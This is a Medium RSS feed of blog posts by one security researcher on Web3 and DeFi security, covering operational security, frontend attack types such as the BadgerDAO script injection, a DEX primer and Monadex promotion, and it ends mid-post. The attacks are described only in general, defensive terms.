<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aitor Zaldua on Medium]]></title>
        <description><![CDATA[Stories by Aitor Zaldua on Medium]]></description>
        <link>https://medium.com/@aitorzaldua?source=rss-61df44efa6bd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yGNbT4mdf4sal0Q9OOVaQQ.jpeg</url>
            <title>Stories by Aitor Zaldua on Medium</title>
            <link>https://medium.com/@aitorzaldua?source=rss-61df44efa6bd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 03:48:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aitorzaldua/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Beyond the Audit: Fortifying Your DeFi Protocol with Operational Security]]></title>
            <link>https://aitorzaldua.medium.com/beyond-the-audit-fortifying-your-defi-protocol-with-operational-security-892347419ad5?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/892347419ad5</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Thu, 10 Apr 2025 07:18:30 GMT</pubDate>
            <atom:updated>2025-04-10T07:18:30.096Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p45xwgqBm3Qi7P1IA-vO0g.png" /></figure><p>In the high-stakes world of Decentralized Finance (DeFi), smart contract audits are rightly considered a non-negotiable step. Projects trumpet their audit reports as badges of security, and users increasingly demand them. Audits performed by reputable firms are invaluable for catching critical vulnerabilities in code logic, identifying potential attack vectors like reentrancy or oracle manipulation, and verifying adherence to best practices. They are, without doubt, essential.</p><p>However, relying solely on a pre-launch audit provides a dangerously false sense of security. An audit is a snapshot in time, examining code in isolation. The real operational environment of a DeFi protocol is dynamic, complex, and constantly under threat. Infrastructure weaknesses, compromised keys, flawed incident response, or inadequate monitoring can lead to catastrophic losses, even with perfectly audited contracts. True resilience requires moving <em>beyond the audit</em> and embracing robust Operational Security (OpSec) — the ongoing practices and procedures that protect a system during its entire lifecycle. Effective OpSec is the critical layer that turns secure code into a secure <em>and running</em> protocol.</p><h3><strong>Key OpSec Pillar 1: Monitoring &amp; Alerting</strong></h3><p>You can’t defend against threats you can’t see. Continuous monitoring and intelligent alerting form the bedrock of DeFi OpSec. This isn’t just about watching server uptimes; it’s about gaining deep visibility into both on-chain and off-chain activities that could indicate an attack or critical failure.</p><p><strong>On-Chain Monitoring:</strong> This involves actively watching interactions with your protocol’s smart contracts on the blockchain. Key areas include:</p><ul><li>Tracking large or unusual transaction volumes or values.</li><li>Monitoring critical state changes (e.g., admin functions being called, pause mechanisms triggered).</li><li>Watching for unexpected external contract calls or interactions.</li><li>Analyzing mempool activity for potential front-running or sandwich attacks targeting your users or protocol functions.</li><li>Tools like Forta Network, Tenderly, OpenZeppelin Defender Sentinels, or custom scripts querying blockchain nodes are essential here.</li></ul><p><strong>Off-Chain / Infrastructure Monitoring:</strong> Your supporting infrastructure is just as critical:</p><ul><li>Monitoring the health and security of RPC nodes, relayers, keepers, or any off-chain services your protocol relies on.</li><li>Tracking API endpoints for unusual traffic patterns or errors.</li><li>Monitoring frontend security — watching for defacement attempts, malicious script injections, or DNS hijacking issues.</li><li>Standard infrastructure monitoring tools (e.g., Grafana, Prometheus, Datadog) integrated with security event information management (SIEM) systems are valuable.</li></ul><p><strong>Intelligent Alerting:</strong> Raw data isn’t enough. Alerts must be timely, actionable, and routed to the right personnel. This means:</p><ul><li>Defining clear thresholds and triggers based on realistic threat scenarios.</li><li>Minimizing alert fatigue by filtering out noise and focusing on high-priority events.</li><li>Implementing automated escalation paths.</li><li>Integrating alerts with communication channels used by the security/dev team (Slack, PagerDuty, etc.).</li></ul><h3><strong>Key OpSec Pillar 2: Incident Response (IR)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-5keTI1jlumOYNRR3gsrg.png" /></figure><p>Despite best efforts in prevention and detection, incidents <em>will</em> happen. A well-defined and <em>practiced</em> Incident Response plan is often the deciding factor between a contained event and a protocol-ending disaster. Speed and coordination are paramount in Web3 due to the immutable nature of blockchains and the rapid movement of funds.</p><p><strong>The Plan:</strong> Your IR plan shouldn’t be a dusty document; it should be a living playbook. It must clearly define:</p><p><strong>Roles &amp; Responsibilities:</strong> Who is authorized to take critical actions (e.g., pause contracts, trigger emergency shutdowns)? Who communicates internally and externally?</p><p><strong>Communication Channels:</strong> Secure “war room” channels for coordination during an incident. Pre-defined communication templates for users and the public.</p><p><strong>Triage &amp; Assessment:</strong> How to quickly assess the nature and severity of an incident. Is it a technical bug, an economic exploit, an infrastructure compromise?</p><p><strong>Containment &amp; Eradication:</strong> Technical steps to halt the bleeding. This might involve pausing contracts, upgrading contracts (if possible), isolating affected systems, or blocking malicious addresses at the frontend/RPC level.</p><p><strong>Recovery:</strong> Steps to safely restore normal operations, recover funds (if possible), and implement fixes.</p><p><strong>Post-Mortem:</strong> A blameless analysis after the incident to understand root causes, identify failures in the response, and improve the plan and preventative controls.</p><p><strong>Practice Makes Perfect:</strong> Fire drills aren’t just for buildings. Regularly conduct tabletop exercises or simulations based on realistic DeFi exploit scenarios (e.g., oracle manipulation, governance attack, large flash loan exploit). This builds muscle memory and reveals weaknesses in the plan <em>before</em> a real crisis hits.</p><h3><strong>Key OpSec Pillar 3: Access Control &amp; Key Management</strong></h3><p>In DeFi, the phrase “not your keys, not your crypto” often applies just as much to protocol administrators as it does to users. Controlling functions like pausing contracts, executing upgrades, managing treasury funds, or changing critical parameters requires robust access control and uncompromising key security. Weaknesses here can instantly negate even the most secure contract logic.</p><ul><li><strong>Multi-Signature Wallets (Multisigs):</strong> These are the standard for managing privileged functions. Best practices include:</li><li><strong>Appropriate Thresholds:</strong> Requiring an M-of-N signature threshold (e.g., 3-of-5, 4-of-7) that balances security with operational availability. Avoid single signers for critical operations.</li><li><strong>Signer Diversity:</strong> Using geographically distributed signers with diverse backgrounds (e.g., core dev, security lead, legal, trusted external party) reduces collusion risk.</li><li><strong>Hardware Wallets:</strong> Mandating that all multisig signers use hardware wallets (like Ledger or Trezor) stored securely.</li><li><strong>Operational Procedures:</strong> Defining clear processes for proposing, verifying, and executing multisig transactions. Avoid “rubber-stamping.”</li><li><strong>Infrastructure Access:</strong> Secure the keys and credentials used to manage your off-chain infrastructure (servers, databases, deployment systems). Apply the principle of least privilege aggressively. Use hardened bastion hosts, VPNs, and short-lived credentials where possible. Compromised infrastructure can lead to frontend exploits, stolen API keys, or malicious code injection during deployment.</li><li><strong>Key Lifecycle Management:</strong> Regularly review access levels. Have procedures for securely rotating keys and revoking access for departing team members. While key rotation can be complex for smart contract admin keys, it’s crucial for infrastructure credentials.</li><li><strong>Web2 Parallels:</strong> This directly mirrors the principles of ISO 27001’s A.9 Access Control domain — ensuring only authorized individuals access sensitive assets and functions, using appropriate authentication mechanisms.</li></ul><h3><strong>Key OpSec Pillar 4: Secure Development &amp; Deployment Pipeline (SDLC)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WKcS5Aki6TLpUszj5_08pQ.png" /></figure><p>Security shouldn’t be bolted on at the end with an audit; it needs to be embedded throughout the entire development lifecycle.</p><p><strong>Continuous Code Review:</strong> Implement internal peer reviews for all code changes <em>before</em> they even reach auditors. Use static analysis tools (like Slither) and linters automatically in your CI/CD pipeline to catch common issues early.</p><p><strong>Infrastructure as Code (IaC) Security:</strong> If you define your infrastructure using tools like Terraform or CloudFormation, audit and secure this code too. Misconfigured infrastructure can create significant vulnerabilities.</p><p><strong>Secrets Management:</strong> Never hardcode private keys, API keys, or other secrets directly in code or configuration files. Use secure secret management solutions (e.g., HashiCorp Vault, AWS Secrets Manager, Azure Key Vault) integrated into your deployment process.</p><p><strong>Testnet Discipline:</strong> Maintain a testnet environment that closely mirrors production. Conduct thorough testing here, including security testing and simulated attack scenarios. <em>Never</em> use production keys or credentials in test environments.</p><p><strong>Secure Deployment Procedures:</strong> Implement checks and balances in your deployment process. Use dry-runs, require manual approvals for production deployments, and have post-deployment verification steps to ensure everything is working as expected and no unauthorized changes were introduced.</p><h3><strong>Bridging with Compliance (ISO/DORA Hints)</strong></h3><p>Implementing these OpSec pillars isn’t just good security practice; it directly aligns with and helps satisfy requirements in major compliance frameworks:</p><p><strong>Monitoring &amp; Alerting:</strong> Maps to ISO 27001 (A.12 — Operations Security, A.16 — Incident Management logging) and DORA’s requirements for detection capabilities.</p><p><strong>Incident Response:</strong> Directly addresses ISO 27001 (A.16 — Information security incident management) and DORA’s pillars for ICT-related incident management and response/recovery.</p><p><strong>Access Control &amp; Key Management:</strong> Aligns squarely with ISO 27001 (A.9 — Access Control) and contributes to DORA’s ICT Risk Management Framework (Protection &amp; Prevention).</p><p><strong>Secure SDLC &amp; Deployment:</strong> Corresponds to ISO 27001 (A.14 — System acquisition, development and maintenance) and strengthens DORA’s requirements for secure system development and resilience testing.</p><p>Viewing compliance requirements through the lens of practical OpSec makes them less of a bureaucratic hurdle and more of a structured approach to building genuine resilience.</p><h3><strong>Conclusion</strong></h3><p>Smart contract audits are a foundational element of DeFi security, but they are only the beginning. True, lasting security comes from adopting a holistic Operational Security mindset. Continuous monitoring, robust incident response planning, stringent access control, and secure development practices are not optional extras — they are essential components for protecting protocol integrity and user funds in the dynamic and often adversarial Web3 environment. By looking beyond the audit report and cultivating a strong OpSec culture, DeFi projects can build genuine resilience and earn the trust necessary for long-term success.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=892347419ad5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hidden Risks of Web3 Frontend Security: How Attackers Drain Wallets Without Smart Contract…]]></title>
            <link>https://aitorzaldua.medium.com/the-hidden-risks-of-web3-frontend-security-how-attackers-drain-wallets-without-smart-contract-64c49b8e5b99?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/64c49b8e5b99</guid>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Mon, 10 Mar 2025 09:08:19 GMT</pubDate>
            <atom:updated>2025-03-10T09:08:19.314Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>The Hidden Risks of Web3 Frontend Security: How Attackers Drain Wallets Without Smart Contract Exploits</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7q1AOaGJ6aXDhfMehK6ppw.png" /></figure><h3>Introduction</h3><p>The world of Web3 security is often reduced to one idea: securing smart contracts. Developers audit Solidity code, search for reentrancy bugs, and optimize gas fees, thinking that once the contract is bulletproof, their job is done. But Web3 security is much more than that.</p><p>Imagine you build the most secure vault in the world, with biometric authentication, reinforced steel walls, and multi-layered encryption. But then you leave the front door open. That’s what happens when projects neglect frontend security.</p><p>Hackers have figured out that they don’t need to break smart contracts to steal millions. They just need to manipulate what users see and interact with. This is the silent killer of Web3 security: malicious frontend scripts that drain wallets without touching a single line of Solidity.</p><h3>The Attack Surface: Where Frontend Exploits Happen</h3><p>To understand how dangerous frontend attacks can be, we need to shift our perspective. Blockchain is immutable, but the Web3 frontend is just a website — dynamic, constantly updated, and vulnerable to manipulation. Attackers exploit this in multiple ways:</p><h4>1. Compromised Third-Party Scripts</h4><p>Developers rely on external libraries and CDNs to build dApps faster. But what happens when a library is compromised? If an attacker injects a malicious script into a dependency, every dApp using it is at risk. Users interact with what looks like a legitimate dApp, but in the background, their wallets are being drained.</p><p>This is especially dangerous when projects use outdated or unverified dependencies. A single compromised package can impact thousands of users in a matter of seconds, and by the time the breach is detected, significant losses may have already occurred.</p><h4>2. Man-in-the-Middle (MitM) Attacks</h4><p>Without strict HTTPS enforcement, attackers can intercept user requests, modify the frontend, and inject wallet-draining scripts. This is especially dangerous for users connecting to dApps from unsecured networks.</p><p>Public Wi-Fi hotspots, rogue ISPs, or even malware-infected routers can serve as attack vectors, intercepting data and injecting malicious code. A user logging into a Web3 application from an insecure connection could unknowingly approve transactions they never intended to sign.</p><h4>3. Supply Chain Attacks</h4><p>Imagine waking up to find that your project’s frontend has been altered overnight. Attackers who gain access to a Web3 project’s repository can introduce malicious code into the production environment without anyone noticing until it’s too late.</p><p>Such attacks have become more frequent with the rise of automated deployment pipelines. Without rigorous access controls, attackers can manipulate CI/CD processes to inject malicious scripts that compromise users the moment they visit the site.</p><h4>4. Phishing &amp; Clone Websites</h4><p>Hackers create pixel-perfect copies of popular dApps, tricking users into connecting their wallets. The moment they approve a transaction, their funds are gone. This method is shockingly effective and widely used in Web3 exploits.</p><p>Many users fail to notice minor variations in domain names, such as “uniswap.exchange” vs. “uniswap-exchange.com.” These fake dApps often lure victims through phishing emails, social media scams, or even Google Ads that rank fraudulent sites above the legitimate ones.</p><h4>5. Cross-Site Scripting (XSS) Attacks</h4><p>A classic Web2 vulnerability that still thrives in Web3. If a dApp doesn’t properly sanitize user input, attackers can inject scripts that sign transactions or approve token transfers without user consent.</p><p>XSS attacks can be leveraged to modify frontend behavior in real time, tricking users into signing malicious transactions without their awareness. Because Web3 transactions are irreversible, the damage is often permanent.</p><h3>Real-World Case: The BadgerDAO Attack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*fA8yYhlNBLmO60jpMR_3UA.png" /><figcaption>image from <a href="https://www.forta.org/blog/how-to-derail-a-120-million-dollar-hack">https://www.forta.org/blog/how-to-derail-a-120-million-dollar-hack</a></figcaption></figure><p>One of the most infamous Web3 frontend attacks occurred in late 2021, when hackers injected malicious JavaScript into the frontend of BadgerDAO. The script intercepted transactions and replaced recipient addresses with the attacker’s wallet. By the time the attack was discovered, over $120M had been drained.</p><p>What makes this kind of attack terrifying is that it bypasses smart contract security entirely. Users connected their wallets to a trusted platform, only to be robbed in plain sight.</p><p>This case underscores a harsh reality: No matter how secure a protocol’s smart contract is, its users remain at risk if frontend security is neglected. Attackers don’t need to break into the blockchain — they just need to manipulate the interface that users trust.</p><h3>Defending Against Frontend Attacks</h3><p>So how do we fight back? The answer lies in adopting rigorous security practices, just as we do for smart contracts. Here are six essential steps to protect Web3 frontends:</p><p>✅ <strong>Implement a Strong Content Security Policy (CSP)</strong></p><p>Restrict which scripts can execute on your dApp to prevent unauthorized injections.</p><p>✅ <strong>Always Serve Over HTTPS</strong></p><p>Prevent MitM attacks by enforcing SSL/TLS encryption at all times.</p><p>✅ <strong>Audit Third-Party Dependencies Regularly</strong></p><p>Use tools like Snyk to detect vulnerabilities in libraries and update them frequently.</p><p>✅ <strong>Use Subresource Integrity (SRI) for External Scripts</strong></p><p>Ensure that third-party scripts match a known cryptographic hash before executing.</p><p>✅ <strong>Monitor Frontend Integrity</strong></p><p>Set up real-time monitoring to detect unauthorized code changes in production.</p><p>✅ <strong>Educate Users on Phishing &amp; Social Engineering Risks</strong></p><p>Encourage users to double-check URLs and avoid blindly signing transactions.</p><p>A robust security mindset must extend beyond developers to the entire Web3 community. Users should be empowered with knowledge, and projects must actively mitigate risks through continuous monitoring and security best practices.</p><h3>Conclusion</h3><p>The blockchain world started as a playground for developers — an era of constant creation where anything seemed possible. But as the ecosystem matured, settlers arrived: traders, institutions, and everyday users. Suddenly, Web3 needed rules, stability, and security.</p><p>Smart contract security is just one side of the equation. A truly secure dApp must also protect its users at the frontend level. Because in Web3, even the most secure vault is worthless if you leave the front door open.</p><p>As Web3 adoption accelerates, security will become the defining factor between sustainable projects and those that crumble under attacks. The question isn’t whether hackers will target your dApp — it’s whether you’ll be prepared when they do.</p><p>🔹 Have you ever encountered a frontend security issue in Web3? Let’s discuss in X at @azdraft_ or in the comments!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=64c49b8e5b99" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Step By Step To Secure A Protocol: Monadex Edition.]]></title>
            <link>https://aitorzaldua.medium.com/step-by-step-to-secure-a-protocol-monadex-edition-fd9c533e3963?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd9c533e3963</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Thu, 04 Jul 2024 13:17:48 GMT</pubDate>
            <atom:updated>2024-07-04T13:38:12.877Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPA42ok4FI6jByqd87lJ1A.png" /></figure><p>We are in the middle of 2024, which always os a good period of the year to review the state of things. In this Medium we talk about web3 security so I am curious to know how we improve securing in this year.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YoRc932w_wTfsJWOaGUHag.png" /></figure><p>Oh, boy. Seriously? Is impossible to build a secure protocol after all these years?</p><p>Of course it is possible. Let’s build one together.</p><h4>Developers world vs Community world</h4><p>Let’s look back at the history of blockchain when a group of developers imagined a new world with a decentralised database and a code they called smart contracts. On those 2 unique concepts, they started to imagine infinite ideas and features, some incredible, some impossible, and the blockchain world started to grow based on the idea of constant creation . Every action was like a game where you either win or lose. It didn’t matter, they were developers creating a world for developers.</p><p>A world extremely volatile but full of innovative ideas. An attractive chaos, like a universe after the big bang. A crazy world with no tests, no documentation, just pure and constant growth.</p><p>But suddenly, this forward march attracted the first settlers. People who want to establish themselves, sow and harvest. To build spaces to meet with other settlers and exchange goods. And the blockchain changed forever.</p><p>Almost without realising it, it has been divided between the pioneers, the developers and their continuous creation without rules, and the settlers and their market and service communities.</p><h4>Unsecure vs Secure</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qJ9VRQazLuYcIKXabEwquQ.png" /></figure><p>Look at the differences between the old and the new model. Between a developer’s world and a community-driven one.<br>The developer world was essential, but as in other stories of conquest, sooner or later it must be replaced by the community that will make it grow and evolve.</p><p>All the previous model, all the protocols that were built one or two years ago will become obsolete because they were build thinking in developers. The new generation of protocols should be built thinking in the community, taking care of their needs and understanding that the community is the true owner of the ecosystem.</p><h4>The Community Demands A Highly Secure Protocols</h4><p>Now that we have established who the true owners of the ecosystem are, let us understand what is always the first demand of a community. You are right, security. Probably we still have a lot of companies, protocol developers, working with the old model, but we are at a turning point where companies are starting to internalise 2 basic principles: Security first mentality and 100% community oriented.</p><p>And it all starts with the team. A next-gen web3 team needs a security researcher as one of its components from the start. We can build teams with just developers. We will probably also need a community manager and a business person in teams from the start, but at least a security lead to look after the protocol.</p><h4>The new and improved recipe for protocols</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YUMEQrG3TzjKouQHCE6OSg.png" /></figure><p>Typically, the security of a protocol consists of a final audit carried out within 15 days. We must reject this concept as junk food. It is time to cook a good protocol, using the best ingredients and cooking it slowly.</p><p><strong>Ingredient 1: Security first mentality</strong></p><p>Developers should present standardised solutions wherever possible. The main mission is to create a secure environment that evolves organically.</p><p><strong>Ingredient 2: 100% community oriented</strong></p><p>The community is a mature entity with a high level of knowledge of the ecosystem. Design with a high degree of choice, so that the community decides how to use the protocol.</p><p><strong>Ingredient 3: Bringing web2 techniques to weB3</strong></p><p>A security team separate from the development team. Tests and audits performed by the security team. Let the development team work: Don’t be intrusive.</p><p><strong>Ingredient 4: Securing both sides: blockhcain and website</strong></p><p>Smart contracts and the website live in 2 different technologies: The blockchain and the cloud. Ensure security on both sides.</p><p><strong>Ingredient 5: Continuos and real time monitoring</strong></p><p>Continuously monitor key variables to identify potential deviations from expected responses. Baselines, number of daily transactions, balances,…</p><p><strong>Ingredient 6: Proactive and automated responses</strong></p><p>Design of action plans, i.e. disaster recovery plans, in the event of failures or external attacks to preserve the protocol’s resources.</p><h4>Don’t let them tell you what you can’t do.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ELvjaufL1LWmVFCneoaRHQ.png" /></figure><p>Both Monadex and Nomad.Monad are building our protocols with the understanding that the real owners are you, that we are building habitats that the community will take and develop ad infinitum.</p><p>Our mission is to deliver a product that you feel confident in, so that you can decide how it is built and how it is organised. That is why we dedicate 100% of our effort to create an environment where security is not a concern and you can devote 100% of your energy to making it grow.</p><p>We count on you. Let’s build the web3 next generation together.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd9c533e3963" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DEX: Essential knowledge for Security Researchers.]]></title>
            <link>https://aitorzaldua.medium.com/dex-essential-knowledge-for-security-researchers-83ba92b81e19?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/83ba92b81e19</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Fri, 24 May 2024 15:02:39 GMT</pubDate>
            <atom:updated>2024-05-24T15:02:39.909Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fkx3XLxsLhxGK3dV9CZYAw.png" /><figcaption>picture from <a href="https://www.monadex.exchange/">Monadex</a></figcaption></figure><p>“<em>Winter is coming</em>”. For years we have heard this phrase with fear. It was a warning of a time of great danger and hardship in the world. The winter is not just a natural phenomenon, but a metaphor for the impending doom and chaos that will soon engulf the Seven Kingdoms.</p><p>But we security researchers love winter. To us, all the chaos and monsters that have come across the North are just little puppies and capture the flag challenges. We used to fight bloody battles in the Six Kingdoms (code4rena, sherlock, cantina, codehawks, hats, inmudefi) and we always won. Maybe I haven’t reported findings in every contest, but I’ve never seen a contest where vulnerabilities weren’t reported.</p><p>And we celebrate with our champions after every battle, in discord, X, it doesn’t matter. We are happy for all our teammates.</p><p>But let me tell you something in case you are interested in joining the security research army: From the beginning of the year until now, we have had about 50 contests, and almost all of them have been on Decentralised Finances. One on NFTs, one on names, and all the rest on DeFi.</p><p>Because this is why blockchain exists, to replace the traditional financial system technology.</p><h4>What we should know about DeFi</h4><p>The first thing you need to know is the terminology. You will see a lot of new names that refer to the type of services, potential income or features. Some of them are not possible in traditional finance, and only work in this new beautiful ecosystem called blockchain. Check out the basic terms here: <a href="https://medium.com/coinsbench/25-defi-nitions-for-smart-contract-auditors-b197d5cb9570">25 Defi-nitios for Smart Contract Auditors</a> and <a href="https://medium.com/coinmonks/25-more-defi-nitios-for-smart-contract-auditors-2e9026f8b400">25 more Defi-nitios for Smart Contract Auditors.</a></p><p>Let’s remember why the financial system exists in the first place, i.e. how and why banks work. Because, yes, now they sell insurance, they sell houses, they do your tax reports, but that is more a necessity than their real purpose. The function of banks is:</p><ol><li>To offer loans.</li><li>To exchange currency.</li></ol><p>That’s it. Period. No more things. So, if we are going to replace the system, we have to build Loans protocols and Exchange protocols, but, obviously, decentralized, without banks!, they will run thought smart contracts, so we will have more opportunities and more types of services, but always focused on loans and exchanges.</p><h4>DEX: The core of the blockchain</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jVub92vNvJ6WaGFXJpVlw.png" /><figcaption>picture from <a href="https://www.monadex.exchange/">Monadex</a></figcaption></figure><p>So let’s talk about the exchanges, or in blockchain, Decentralised Exchanges, also known as DEX. There are also Centralised Exchanges, more similar to banks, but we’ll focus on the first ones, as they are the core of the blockchain, with DEX as important as Uniswap, PancakeSwap, Shushi… they all sum a total value locked of $20.749 billion, and generate fees of $167 million per month. Looks like a nice place to be, doesn’t it?</p><p>To find out how it works, we can look at what is considered the standard: Uniswap. Currently there are 3 versions, being V2 is the most widely used as example, we are going to explain a bit Uniswap V2.</p><ol><li>In DEX the core service is swap coins: ETH for USDT, USDT for DAI, … any token or native coin for another one.</li><li>The swap price is determined by a formula based on the amount of each token in a particular contract, usually called a pool or pair, depending on the DEX.</li><li>There are 3 main contracts: Factory, Pool and Router.</li><li>Factory is the contract to create contracts. What contracts? The pool/pair contract. The user specifies something like “I want to create a contract to swap USDT for DAI and vice versa” and, voila! a pool contract is created. For each par of tokens to be exchanged, a corresponding pool contract is required.</li><li>Pool contract stores the tokens, but has more functions. It is also an ERC20 token to send a sort of receipt that users have added liquidity. By the way, to add liquidity it is necessary to do it in pairs: If you want to add tokenA, you should also add an equivalent of tokenB.</li><li>Router contract is the contract that users interact with after pool creation. Users never directly execute pool contract functions. This is where users add liquidity to the pool and execute swaps (Router contract calls Pool contract functions).</li></ol><p>Dexes explained in 2 minutes. Not bad at all.</p><h4>Security: The most important feature of any Protocol</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*68KoX5M1lGmmor_BYWxTZw.png" /><figcaption>picture from <a href="https://defillama.com/hacks">DefiLama</a></figcaption></figure><p>Blockchain has been with us for some time now. We had hoped that by now this technology would be good enough to be widely used by ordinary users, and that traditional DeFi’s such as Bank of America, JPMorgan or ICBC would be confident enough to start offering DEX services to their customers.</p><p>But we have a situation. In the first 4 months of 2024 alone, 187 million dollars have been stolen from the DeFi protocols. This is inadmissible and unacceptable for the world’s major banks.</p><p>The environment needs to take the security of its protocols seriously, once and for all, and put it at the top of its priorities.</p><p>In the coming months, it will arrive Monad, a new L1 blockchain, optimised to maximise productivity, accelerate transactions and reduce costs. With the idea of creating a DEX that lives up to the expectations of a top financial company, I have joined the <a href="https://www.monadex.exchange/">Monadex</a> team, with the exclusive role of Security Researcher.</p><p>In this way, from the first line of code, the development team and the security team work together to ensure that the protocol is reliable, and 100% secure, not with just a final audit made in 10 days, but to ensure that the code delivered every day meets the highest security standards available.</p><p>Monadex, named on X as <a href="http://monadex_labs/">@Monadex_lab</a>s, will be built to the high standards that will soon be mandatory for all.</p><p>And of course, it will be not only about security but also it will be a 100% community oriented DEX, we will added features to create the best user experience..but this is another history.</p><p>You can also <a href="http://discord.gg/kjCZpbHnBF">join our Discord</a> to learn more about the next standard en DEX build exclusively for <a href="https://www.monad.xyz/">Monad</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83ba92b81e19" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Surprise, surprise, in a developer’s world, the big issue is security.]]></title>
            <link>https://aitorzaldua.medium.com/surprise-surprise-in-a-developers-world-the-big-issue-is-security-1bbd17f7b4e2?source=rss-61df44efa6bd------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bbd17f7b4e2</guid>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aitor Zaldua]]></dc:creator>
            <pubDate>Mon, 04 Mar 2024 13:29:56 GMT</pubDate>
            <atom:updated>2024-03-04T13:29:56.561Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a9BrJRzXxTVAt51CZbBqow.png" /><figcaption>picture from <a href="https://tvup.media/">https://tvup.media/</a></figcaption></figure><p><em>Contact me for learning paths, advice and real-world challenges by email at </em><strong><em>aitor.zaldua@draftdigital.xyz </em></strong><em>or in X as </em><a href="http://twitter.com/azdraft_"><strong><em>@azdraft_</em></strong></a><em>.</em></p><p>Everything must evolve. Ever since the dinosaurs roamed the earth, ecosystems have evolved and adapted to survive.</p><p>Well, it is time for the blockchain to evolve. Otherwise, it will not survive.</p><p>Over the past few months, I’ve had some experiences with blockchain companies, Defi and L2 chains, that have left me a bit perplexed, frustrated and confused at the same time.</p><p>First of all, let’s set the context: I come from a security background, not a development background. That is definitely a rarity in the ecosystem. The majority of new engineers in blockchain come from a Javascript development background. And it shows, it really shows.</p><p>Let’s move on the next context. Less than 10 years ago, blockchain didn’t exist. Pure and simple. A few developers decide to leave the comfort of their parents’ basement and decide to build something crazy. And it worked. Oh boy, it really worked.</p><p>But let’s go to the last context, let’s leave the past behind and come to the present.</p><h4>It is still a developer’s world.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmwjX6NbXd6yQne292WifA.png" /></figure><p>As I said, I was contacted via Linkedin about the possibility of joining some web3 related projects, my 20 years of security experience is enough for recruiters to offer me a job. But the experience with companies (not web3 security companies, but DeFi protocols, L2 chains, etc…) was more curious.</p><p>The first thing I had to do was a technical test. It was always really easy and the first indication that companies don’t currently have security researchers on their team. They usually create tests with simple and outdated vulnerabilities.</p><p>The interview is probably the most interesting part of any contact with web3 companies, as you have the opportunity to talk to different profiles of the ecosystem. And to check out the current state of security in the companies.</p><p>I have never been interviewed by a security expert at this stage. Never. Usually they are developers, co-founders or 